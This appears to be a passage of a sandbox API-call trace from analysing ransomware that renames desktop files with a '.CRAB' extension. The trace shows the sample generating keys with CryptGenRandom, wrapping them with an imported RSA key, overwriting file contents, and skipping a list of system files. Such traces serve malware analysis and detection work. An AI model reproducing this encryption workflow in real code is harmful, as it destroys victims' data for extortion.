	[0124.993] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0124.994] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.997] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.997] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.997] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.997] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.997] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.997] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.998] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.998] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158400) returned 1
	[0124.998] CryptGetKeyParam (in: hKey=0x3158400, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.998] CryptEncrypt (in: hKey=0x3158400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.999] GetLastError () returned 0x0
	[0124.999] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.999] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.999] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158300) returned 1
	[0124.999] CryptGetKeyParam (in: hKey=0x3158300, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.999] CryptEncrypt (in: hKey=0x3158300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.000] GetLastError () returned 0x0
	[0125.000] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.000] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\oS9Q-aZua tTeFXYxb.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\os9q-azua ttefxyxb.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.000] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.000] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.001] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x6349, lpOverlapped=0x0) returned 1
	[0125.099] VirtualAlloc (lpAddress=0x0, dwSize=0x6350, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.099] VirtualAlloc (lpAddress=0x0, dwSize=0x6350, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.100] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.100] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff9cb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.100] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x6350, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x6350, lpOverlapped=0x0) returned 1
	[0125.101] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.101] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.104] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.105] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.105] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.105] CloseHandle (hObject=0x3e8) returned 1
	[0125.105] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.105] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.105] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.106] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.106] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.106] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.106] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.106] lstrcmpW (lpString1="PA9T.m4a", lpString2=".") returned 1
	[0125.106] lstrcmpW (lpString1="PA9T.m4a", lpString2="..") returned 1
	[0125.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="PA9T.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a"
	[0125.106] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.106] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a") returned 38
	[0125.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a") returned 38
	[0125.107] lstrlenW (lpString=".m4a") returned 4
	[0125.107] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.107] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0125.107] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a") returned 38
	[0125.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a") returned 38
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="desktop.ini") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="autorun.inf") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="ntuser.dat") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="iconcache.db") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="bootsect.bak") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="boot.ini") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="ntuser.dat.log") returned 1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="thumbs.db") returned -1
	[0125.107] lstrcmpiW (lpString1="PA9T.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.107] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.108] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB") returned 43
	[0125.108] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\pa9t.m4a")) returned 0x20
	[0125.108] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a", dwFileAttributes=0x20) returned 1
	[0125.108] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\pa9t.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\pa9t.m4a.crab")) returned 1
	[0125.112] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.113] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB"
	[0125.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB.CRAB"
	[0125.113] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0125.113] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.114] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.114] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.114] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.114] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.114] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.114] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0125.114] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.115] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.115] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.115] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0125.115] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.115] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.115] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.116] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.118] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158740) returned 1
	[0125.118] CryptGetKeyParam (in: hKey=0x3158740, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.118] CryptEncrypt (in: hKey=0x3158740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.118] GetLastError () returned 0x0
	[0125.118] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.118] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0125.119] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158480) returned 1
	[0125.119] CryptGetKeyParam (in: hKey=0x3158480, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.119] CryptEncrypt (in: hKey=0x3158480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.119] GetLastError () returned 0x0
	[0125.119] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.119] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PA9T.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\pa9t.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.120] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.120] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.120] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xc3c7, lpOverlapped=0x0) returned 1
	[0125.129] VirtualAlloc (lpAddress=0x0, dwSize=0xc3d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.130] VirtualAlloc (lpAddress=0x0, dwSize=0xc3d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.131] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.132] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff3c39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.132] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xc3d0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xc3d0, lpOverlapped=0x0) returned 1
	[0125.132] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.136] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.140] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.140] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.140] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.140] CloseHandle (hObject=0x3e8) returned 1
	[0125.141] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.141] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.141] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.141] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.141] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.142] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.142] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.142] lstrcmpW (lpString1="qO-hImZ4SPYdB.png", lpString2=".") returned 1
	[0125.142] lstrcmpW (lpString1="qO-hImZ4SPYdB.png", lpString2="..") returned 1
	[0125.142] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="qO-hImZ4SPYdB.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png"
	[0125.142] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.142] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png") returned 47
	[0125.142] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png") returned 47
	[0125.142] lstrlenW (lpString=".png") returned 4
	[0125.142] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.142] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0125.142] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.143] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png") returned 47
	[0125.143] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png") returned 47
	[0125.143] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="desktop.ini") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="autorun.inf") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="ntuser.dat") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="iconcache.db") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="bootsect.bak") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="boot.ini") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="ntuser.dat.log") returned 1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="thumbs.db") returned -1
	[0125.151] lstrcmpiW (lpString1="qO-hImZ4SPYdB.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.151] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.151] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB") returned 52
	[0125.151] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qo-himz4spydb.png")) returned 0x20
	[0125.151] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png", dwFileAttributes=0x20) returned 1
	[0125.152] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qo-himz4spydb.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qo-himz4spydb.png.crab")) returned 1
	[0125.153] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.153] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB"
	[0125.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB.CRAB"
	[0125.153] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0125.153] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.154] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.154] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.154] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.154] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.154] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.155] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.155] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.155] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.157] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.157] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.157] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.157] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.158] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0125.158] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158840) returned 1
	[0125.158] CryptGetKeyParam (in: hKey=0x3158840, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.158] CryptEncrypt (in: hKey=0x3158840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.158] GetLastError () returned 0x0
	[0125.158] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0125.159] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.159] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158800) returned 1
	[0125.159] CryptGetKeyParam (in: hKey=0x3158800, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.159] CryptEncrypt (in: hKey=0x3158800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.159] GetLastError () returned 0x0
	[0125.159] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.159] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qO-hImZ4SPYdB.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qo-himz4spydb.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.160] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.160] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.160] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x3536, lpOverlapped=0x0) returned 1
	[0125.186] VirtualAlloc (lpAddress=0x0, dwSize=0x3540, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.187] VirtualAlloc (lpAddress=0x0, dwSize=0x3540, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.187] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.188] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffcaca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
